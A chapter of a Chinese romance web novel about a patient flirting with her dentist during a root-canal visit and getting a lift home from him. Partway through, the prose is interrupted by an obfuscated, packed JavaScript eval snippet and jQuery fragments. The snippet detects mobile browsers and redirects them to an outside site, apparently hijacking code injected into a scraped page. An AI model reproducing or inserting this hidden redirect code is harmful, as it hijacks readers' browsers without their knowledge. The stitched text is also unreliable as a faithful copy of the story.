是害羞了么。
还是,不好意思了?
这么不禁逗嘛……
这个想法让初枳夏心情一下子更好了。
但很快,她就笑不出来了。
因为沈青石告诉她,今天的任务是打麻药后对牙齿开髓,会有点痛,时间也比较长。
“你等等等等——”初枳夏考研任务重,也没有多查根管治疗到底是什么,也没空,大概了解就是牙神经坏死了,要挖个洞伸进根管清理坏死物质,但具体步骤是不清楚的。
“开髓是什么,会很疼吗?”她支起身体来,握紧扶手困惑地问,听起来好可怕的样子。
沈青石一边调整座椅高度,一边用她容易理解的语言解释:“和你理解得类似,你可以把它想象成在你牙齿上造一口井,通过井口对里面组织进行清理。”
井口……
听上去好像比凿个洞温和一些。
但是,还是很可怕!
“会有多疼?”初枳夏其实是个相当不怕疼的人,从小练功吃了太多苦,伤痛是常事,但不知道为什么,在他面前,突然开始怕疼了。
见她真的好像很害怕,脸色都跟着白了,沈青石想到那日她拍的片子,低垂下眼睫,用安抚平和的语气道:“会打麻药,近乎感受不到。可以忍受。”个人对疼痛感知不一,且有些人内部还残存有细微的牙神经,也会不适,他遇见过这样的病人。
初枳夏不愿耽误他的工作,时间已经不早了,又躺了回去,微微张开嘴巴。
想了想,还是伸手轻扯了扯他的洁白工整衣袖,很快放开,紧张兮兮地道:“沈医生,我很怕疼。”
她稍侧着脸,半边脸颊被压得鼓鼓的,几缕发丝垂下,头顶光源映在她黑白分明眼睛里,湿漉漉的,好不可怜。
“我知道。”
他的声音一如既往平静,公事公办,但细听,果然比往日温和一些。
原来不管多正人君子,都吃这一套。
她路线走错了,就不应该穿红裙子,应该穿楚楚可怜的小白裙。
治疗很快开始。
但后半程,也不知她是先前打过不少麻药有一定抗性,天生对疼痛敏感;亦或她的牙神经其实没有完全坏死,或者说“开个凿”这种说法太有冲击力,的确不适。
吸痰器一直工作。
很晚了。
科室的人都几乎走了。
她终究还是不想影响他工作的,能忍就忍了。
他放下吸痰器,让她起身漱口,还是道:“疼么?”
“有一点。”
牙疼,好像不是那么容易忍受。即使她能忍,可疼得口水一直分泌,漱口的水也带着血沫,始终张大嘴巴下巴也都发酸。她揉了揉下巴,浓密黑发微乱,回过头对他道。
“牙神经没有完全坏死,打了麻药还是会有些疼的,”他很清楚,解释道,“如果你疼得实在受不了,跟我比一个一,我慢一点。”吸痰器、钻牙工具,让她没有办法说话的。
“为什么,你喜欢喝一点点啊?”
他好温柔,她甚至都不知道他对别的病人是否都这样,伸手左手比了个“1”,摇晃了一下。
沈青石让她重新躺下,俯下身望向她,“嗯。”
回答的是那个手势。
“那我下次请你喝。”
她笑盈盈的,唇角还有一点血渍,还有心情开玩笑呢。
沈青石拿过她戴的一次性挂脖帮她擦拭一下,看过她的片子,也没再多言,继续。
他在怕她疼。
可手还是很稳。
可能初枳夏压根都想不到,沈青石更擅长的其实是科研——比起他近乎完美的临床水平。要不也不可能这样年轻便聘上顶尖三甲医院的主治。
但初枳夏到底也没有比手势。
她喜欢调戏美人,但也心疼美人。
即使他那么沉稳平静,她也觉得,忙碌一天门诊,他真的累了。
她靠在椅上,静静地欣赏着他专注工作时的漆黑眼睛。
不过,最后上药戳进牙齿里杀神经真的有点疼,她还是忍不住眉心皱了一下。
“疼么?”
他很快察觉道,实际上,他一直注意着她有没有比手势,但一次都没有。
初枳夏说:“还好啦。”
后面的动作,他更温柔了,极富耐心,帮她用临时材料一点点暂时封好牙齿。
终于结束了。
初枳夏缓缓呼出一口气,用舌尖感受了一下治疗好的牙齿侧面,揉揉酸麻的下巴颏,丢掉一次性挂脖,漱干净口后从牙科椅上跳了下来。
沈青石没说什么,关掉正上方的无影灯,摘掉手套背对向她稍稍欠身在电脑上输入病历,一面提醒注意事项。
“沈医生。”
她等他说完了,忽而道。
不知道为什么,也不知道从哪来的勇气,就是觉得他不会拒绝。
“您开车来的么,能顺路捎我一程么?”
*
沈青石敲打键盘的手指顿了一下,他写完病历,预定好下次时间,慢慢转过身来。
他好高,比周皓荧还要高上几分,身型简直优越,头小脸小,肩宽腿长腰还细,绝对是个上镜的好苗子——初枳夏职业病又犯了。
科室里无人,一天工作也结束了,可能有些闷,他摘了口罩,下半张脸有些苍白,淡淡望向她。
“我今天去朋友聚会了,所以才穿这么难穿的鞋子,又怕开车堵让您等,我直接坐地铁过来的。”
她说着,理了下贴身的长裙裙摆。
是一双头尖尖的、复古风的酒红小皮靴。
跟不算高,但异常磨脚,前后都磨。
“我家就住医院后面,两公里不到,肯定顺路的。我没法走路了,好疼。我不想牙疼,脚又疼。”
听见“疼”字,他的眉梢似隐约动了一下,但没言语。
等待半刻,就在初枳夏以为自己猜错了,被拒绝定了的时候,却听他道:“等我换下衣服。”
“谢谢沈医生!!”
她高兴得简直要原地蹦跶。
十多分钟后。
沈青石将所有工作告一段落,换下白大褂工作服,关掉所有灯光往门口走去。初枳夏忍着“脚疼”,慢吞吞地跟在他身后。
沈青石说:“在这等一下,我把车开过来。”
“嗯嗯。”
她不知道医院职工停车场在哪儿,估计从这走过去是有段距离的。
沈医生果然和她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634583|172612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猜测得没错,从初见时他内里那件服帖名贵的衬衣便看得出来,他有着极好的家教与教养,是骨子里透出的风度。
甚至开得车都和她猜得都不错,非常非常低调的一辆黑色沃尔沃——就好像专门为了上这个班准备的一样。
初枳夏觉得自己越来越厉害了。
她犹豫了几秒,还是坐进了副驾驶,仔细系好安全带。
初枳夏很有分寸,这个时候,就不要再多说什么了。两公里本也不远,安安静静的一路。
“谢谢沈医生。”
车子停在附近一高档小区门口,她拉开车门便要下车,却倏然听他道,
“为什么不说。”
“什么?”她右手擎着车门,肩膀上的珍珠闪闪发亮,长发披了一肩,侧过脸问他。
“如果感到不舒服,为何不说。”他作为医生,不希望患者是这样的,好像他不值得信任一样。更何况,她……
“您是说疼嘛?”她忽的就笑了,又把车门关上了,转过身来,凑近他一些。
沈青石并没有躲,车里没有开灯,只有夜晚街道上的灯火。
他侧脸英俊安静的轮廓像一幅美妙的油画。
“因为我心疼你呀,小帅哥。”他既然没躲,她就再忍不住,伸出葱白的手指尖轻勾了下他漂亮的下颌。
沈青石一惊,完全未曾料到她大胆的举动,骤然转过脸来,眼底清寒一片。在他讶异又清亮的目光里,她弯唇一笑,拉开车门,走下车去。
“我只是不想让你工作更辛苦,别给自己那么大压力。”
她留下这一句,也没再纠缠他,关好车门,挥了挥手,踩着小皮靴朝小区门口走去。
她是体面人,即使再“痛”也不会在其他陌生人面前表现出来,红裙黑发,拎着小小的戴妃包,走得缓慢却优雅。
*
车里。
沈青石沉默着。
半晌,他似是隐约轻叹一声,按了按眉心,调转方向盘,朝小区附近的地下车库驶去。
他不仅为该工作特地买了辆车,还买了套最近便舒适的房。
初枳夏回到家里居然已经九点了。
这套房子也是她买下没多久的,是最近大火的新楼盘,当然也是为了考研。她家太远了,位于城郊的一栋现代小别墅,初试可以在那里心无旁骛背书学习,复试就不太方便了,一方面需要专业的练功房,一方面她需要周皓荧。
周皓荧从小就不喜欢住在那里,他总觉得那不是自己的家,这点初枳夏是明白的。
今天真是疲惫且完美的一天。
初枳夏换上睡衣,将自己陷在客厅柔软的小沙发里,从抱枕底下抽出自己的复试打卡本,在上面书写着。
倒计时D23:
练功六小时。
专业课论文拓展一小时。
自我介绍一小时。
英语口语与听力一小时。
还有,
看牙,她想了想又划去,这样这一天也太可怜了,改成——找乐子,两个半小时。
她写到这里,突然想到哪里不对劲了。
她,是不是忘记要沈医生的微信号了?
啊啊啊啊啊啊啊!
百密一疏啊百密一疏。